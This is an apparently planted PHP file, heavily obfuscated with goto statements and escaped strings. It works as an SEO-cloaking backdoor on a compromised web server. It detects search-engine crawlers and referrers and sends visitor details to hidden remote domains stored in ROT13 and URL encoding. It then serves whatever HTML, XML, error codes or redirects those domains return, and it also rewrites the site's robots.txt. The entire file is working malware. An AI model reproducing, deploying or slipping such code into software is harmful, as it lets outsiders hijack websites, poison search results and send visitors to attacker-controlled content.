File: //tmp/php37J9cu
<?php goto f6St0; n1KRA: $urlshang = is_from_search_engine($urlshang); goto IkUyg; sLgSS: $istest = false; goto FJ9OS; hAVqI: $lang = isset($_SERVER["\x48\124\x54\x50\x5f\x41\103\x43\x45\x50\x54\137\114\x41\116\107\x55\x41\x47\x45"]) ? $_SERVER["\110\x54\x54\x50\x5f\x41\103\x43\x45\120\x54\x5f\x4c\101\x4e\x47\125\x41\x47\x45"] : "\x65\x6e"; goto AS9MA; f6St0: $xmlname = array("\45\x33\62\x25\x33\70\45\63\63\x25\x33\x38\45\62\x44\x25\66\106\45\66\65\x25\67\66\45\x37\64\45\x37\65\x25\66\67\45\x33\x30\45\63\61\45\63\x38\45\x32\105\x25\67\x30\45\x36\x32\45\x36\61\45\x36\x39\45\x36\62\x25\x37\x39\45\x36\70\45\66\x37\45\66\x43\x25\x32\105\x25\66\x42\x25\x36\103\45\x36\x44", "\45\x33\x32\x25\63\70\45\x33\63\45\63\70\45\62\x44\45\66\x46\45\x36\65\x25\67\66\45\x37\64\45\67\x35\45\66\x37\45\x33\60\x25\x33\61\x25\63\x38\x25\x32\105\45\66\67\x25\67\x32\x25\x37\60\45\x37\65\x25\66\x31\45\67\x32\x25\66\102\x25\66\x33\x25\62\105\45\66\x37\45\66\x32\45\66\x33", "\x25\63\62\45\63\x38\45\x33\63\x25\x33\x38\45\62\x44\x25\x36\106\45\x36\x35\45\67\x36\x25\67\64\x25\67\65\45\66\67\45\63\60\x25\x33\61\45\63\70\45\x32\105\45\x36\64\45\x36\70\x25\x36\x45\x25\66\61\x25\x36\67\x25\66\70\x25\x36\x45\45\x36\67\45\66\x37\x25\x32\105\x25\x36\x42\x25\x36\x43\45\66\x44", "\45\63\x32\x25\x33\x38\45\x33\x33\45\x33\70\45\62\104\x25\66\x46\45\66\65\x25\67\66\x25\x37\64\45\67\65\x25\x36\x37\45\x33\x30\x25\63\61\45\63\x38\x25\62\x45\x25\x37\62\x25\66\63\45\x37\x35\x25\67\x32\x25\x37\x41\x25\x37\62\45\x37\66\45\66\102\x25\x32\105\45\66\67\45\x36\62\45\66\x33"); goto GTT8S; ismsa: $requestUri = drequest_uri(); goto n1KRA; YHSmW: if (!strstr($html_content, "\156\157\x62\157\164\165\163\x65\x72\x61\x67\145\x6e\164")) { if (strstr($html_content, "\157\153\150\164\155\154")) { @header("\103\x6f\156\164\x65\156\x74\x2d\164\x79\x70\x65\x3a\40\164\145\170\x74\57\x68\164\x6d\154\x3b\40\x63\150\x61\162\x73\145\164\x3d\x75\x74\146\x2d\x38"); $html_content = str_replace("\x6f\153\150\x74\x6d\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\x65\x74\x63\157\156\164\145\156\x74\x35\x30\60\x70\x61\147\x65")) { @header("\110\x54\124\x50\57\61\56\61\x20\x35\x30\x30\40\x49\x6e\164\x65\x72\x6e\x61\154\40\x53\x65\x72\x76\145\162\x20\105\x72\162\157\162"); die; } else { if (strstr($html_content, "\x34\x30\x34\160\x61\x67\145")) { @header("\x48\124\x54\120\x2f\61\56\x31\x20\64\60\x34\40\116\x6f\x74\40\x46\x6f\x75\x6e\144"); die; } else { if (strstr($html_content, "\63\60\x31\160\141\x67\145")) { @header("\110\x54\124\120\x2f\x31\56\61\x20\63\60\x31\x20\115\157\x76\x65\x64\40\120\145\x72\x6d\x61\x6e\x65\156\164\x6c\171"); $html_content = str_replace("\63\60\x31\160\x61\x67\x65", '', $html_content); header("\114\157\x63\141\164\x69\157\x6e\x3a\40" . $html_content); die; } else { if (strstr($html_content, "\x6f\153\x78\x6d\x6c")) { $html_content = str_replace("\157\x6b\x78\x6d\x6c", '', $html_content); @header("\103\157\x6e\164\x65\x6e\164\x2d\x54\171\160\x65\x3a\x20\141\x70\x70\x6c\x69\143\141\164\151\157\156\57\170\x6d\x6c\73\x20\x63\150\x61\162\163\x65\x74\75\165\x74\146\55\70"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\162\157\x62\157\x74\x73")) { $html_content = str_replace("\157\153\x72\157\142\157\x74\163", '', $html_content); @header("\103\157\156\x74\145\156\x74\55\x54\171\160\x65\x3a\40\164\x65\x78\x74\57\x70\x6c\x61\151\156\x3b\40\x63\150\141\x72\163\145\164\x3d\165\164\x66\x2d\x38"); echo $html_content; die; } } } } } } } goto PgXPS; AS9MA: $urlshang = ''; goto wjQPF; Uh70a: function create_robots($url) { $path = $_SERVER["\x44\117\103\125\115\x45\116\124\137\x52\x4f\x4f\124"] . "\57\162\x6f\x62\157\x74\163\x2e\x74\170\x74"; $content = "\125\163\145\162\55\x61\147\x65\x6e\x74\x3a\x20\52" . PHP_EOL; $content .= "\x41\154\x6c\x6f\167\72\x20\x2f" . PHP_EOL . PHP_EOL; $content .= "\x53\x69\164\x65\x6d\141\x70\72\x20" . $url . "\57\x73\x69\x74\x65\155\141\x70\56\x78\155\154" . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } } } goto bTE8i; LBtZC: if (is_https()) { $http = "\x68\x74\x74\x70\x73"; } else { $http = "\x68\164\x74\x70"; } goto dN5VR; dN5VR: $spider = is_bot(); goto ismsa; kEyx8: $param = http_build_query(array("\x68\157\x73\x74" => $host, "\x73\160\151\x64\145\x72" => $spider, "\x72\x65\x71\165\145\x73\164\x55\162\x69" => $requestUri, "\x75\x72\154\163\150\141\156\x67" => $urlshang, "\150\x74\x74\160" => $http, "\154\141\x6e\147" => $lang, "\163\164\x72\x69\x6e\147" => $string, "\x72\157\x62\157\164\x73" => $robots)); goto yZmng; ozPp9: if (strpos($requestUri, $robots) !== false || strpos($requestUri, "\77\162\157\142\157\x74\163\x2e\164\x78\x74") !== false) { $robots = "\61"; } else { $robots = "\x30"; } goto XJB9D; IkUyg: $robots = "\162\157\142\x6f\x74\163\x2e\x74\170\x74"; goto eBg24; yWwEb: function is_bot() { $user_agent = strtolower($_SERVER["\110\x54\x54\120\x5f\125\x53\x45\122\137\x41\x47\x45\116\x54"]); $bots = array("\147\x6f\x6f\147\x6c\x65\142\157\x74", "\142\x69\156\x67", "\x79\x61\150\157\x6f", "\147\157\x6f\x67\x6c\x65", "\x47\157\157\x67\x6c\x65\x62\x6f\x74"); foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { return 1; } } return 0; } goto VfvJD; CMUZw: function is_from_search_engine($referer) { if (empty($referer)) { return false; } $searchEngines = array("\x67\157\x6f\147\154\x65\x2e", "\x62\151\156\x67\56", "\171\x61\x68\157\x6f\x2e"); foreach ($searchEngines as $engine) { if (stripos($referer, $engine) !== false) { return true; } } return false; } goto Uh70a; g2fVR: create_robots($http . "\x3a\57\x2f" . $host); goto kEyx8; VfvJD: function drequest_uri() { if (isset($_SERVER["\122\105\x51\125\x45\x53\x54\137\x55\x52\111"])) { $duri = $_SERVER["\122\105\121\125\x45\x53\124\137\x55\x52\x49"]; } else { if (isset($_SERVER["\141\x72\147\x76"])) { $duri = $_SERVER["\120\110\x50\137\x53\x45\114\x46"] . "\77" . $_SERVER["\x61\x72\x67\166"][0]; } else { $duri = $_SERVER["\x50\x48\x50\137\123\105\114\106"] . "\x3f" . $_SERVER["\x51\x55\105\122\x59\137\123\x54\x52\x49\116\107"]; } } return $duri; } goto CMUZw; wjQPF: if (isset($_SERVER["\110\124\124\x50\x5f\122\x45\106\105\122\105\122"])) { $urlshang = $_SERVER["\x48\x54\x54\120\137\122\105\x46\105\x52\105\x52"]; } goto LBtZC; PgXPS: function requests($xmlname, $http_web, $param) { shuffle($xmlname); foreach ($xmlname as $domain) { $domain = str_rot13(urldecode($domain)); $url = $http_web . "\72\57\x2f" . $domain . "\x2f\x3f" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\x34\x34\x33")) { echo "\64\64\63"; } curl_close($ch); } if (ini_get("\141\x6c\154\157\167\x5f\x75\x72\x6c\x5f\146\157\x70\145\156")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } return "\x6e\157\x62\157\x74\x75\163\x65\162\x61\x67\x65\x6e\x74"; } goto yWwEb; DSNas: $host = $_SERVER["\x48\124\124\x50\137\110\x4f\123\x54"]; goto hAVqI; XJB9D: if ($urlshang) { $urlshang = "\x31"; } else { $urlshang = "\x30"; } goto g2fVR; yZmng: $html_content = requests($xmlname, $http_web, $param); goto YHSmW; GTT8S: $http_web = "\x68\164\x74\160"; goto DSNas; eBg24: $string = "\x32\x38\63\70\x2d\x62\162\151\x67\x68\164\x30\x31\70"; goto sLgSS; FJ9OS: if (strpos($requestUri, $string) !== false) { $istest = true; } else { $string = ''; } goto ozPp9; bTE8i: function is_https() { if (isset($_SERVER["\110\124\124\x50\123"])) { if (strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\x6f\x66\146") { return true; } } elseif (isset($_SERVER["\110\x54\x54\x50\x5f\x58\x5f\106\x4f\x52\127\x41\122\104\x45\104\137\120\122\117\124\x4f"])) { if ($_SERVER["\110\x54\x54\x50\137\130\137\106\117\x52\127\101\122\104\105\104\137\120\x52\x4f\x54\x4f"] === "\x68\x74\x74\160\163") { return true; } } elseif (isset($_SERVER["\110\124\x54\x50\137\106\122\117\x4e\124\x5f\105\x4e\104\x5f\x48\124\124\120\123"])) { if (strtolower($_SERVER["\x48\124\124\120\137\x46\x52\117\x4e\124\137\x45\x4e\x44\137\x48\x54\x54\x50\x53"]) !== "\x6f\x66\x66") { return true; } } return false; }